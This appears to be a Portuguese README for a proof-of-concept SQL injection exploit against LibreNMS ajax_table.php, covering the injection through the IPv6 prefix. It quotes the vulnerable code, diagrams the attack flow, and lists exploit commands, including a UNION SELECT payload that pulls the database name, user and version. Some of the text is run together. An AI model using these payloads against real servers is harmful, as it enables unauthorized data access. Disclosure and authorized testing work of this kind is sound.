
Prova de conceito de exploit para injeção SQL não autenticada no LibreNMS ajax_table.php, demonstrando técnicas de injeção cega baseada em tempo e baseada em booleano para testes de segurança autorizados.
Injeção SQL Não Autenticada no ajax_table.php do LibreNMS através do parâmetro de pesquisa de endereço IPv6.
15429580baba03ed1dd377bada1bde4b7a1175a1)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:NO parâmetro address quando search_type=ipv6 é dividido por / em endereço e prefixo.
O prefixo é diretamente concatenado em uma consulta SQL sem escape:
$sql .= " AND ipv6_prefixlen = '$prefix'";
Uma aspa simples (') na parte do prefixo permite sair do literal de string → injeção SQL arbitrária.
flowchart TD
A[Atacante] -->|1. HTTP POST para /ajax_table.php| B[Servidor Web LibreNMS]
B -->|2. id=address-search & search_type=ipv6| C[Analisar parâmetro address]
C -->|3. Dividir por '/' → $address / $prefix| D[Construir SQL vulnerável]
D -->|4. Concatenar: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
E -->|5. Executar consulta injetada| F[Retornar resultados / erro / atraso]
F -->|6. Atacante observa resposta / tempo| A
subgraph "Ponto de Injeção"
D
end
style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff
requests (pip install requests)python3 exploit.py http://target/librenms --test
python3 exploit.py http://192.168.1.50/librenms --time
→ Se a resposta levar >5–6 segundos → vulnerável
python3 exploit.py http://target/librenms --boolean
python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "
exploit.py .............. Script PoC principal (renomeie de cve-2026-26988-poc.py se necessário)README.md ............... Este arquivo15429580baba... → PR #18777Este proof-of-concept é fornecido apenas para fins educacionais e de testes de segurança autorizados.
NÃO use este código contra qualquer sistema ou rede sem permissão escrita explícita do proprietário.
O uso não autorizado pode violar leis, incluindo (mas não se limitando a) o Computer Fraud and Abuse Act (CFAA) nos EUA, ou legislação equivalente no seu país.
Use por sua conta e risco.
Autor: Mohammed Idrees Banyamer
Instagram: @banyamer_security
Data: 20 de fevereiro de 2026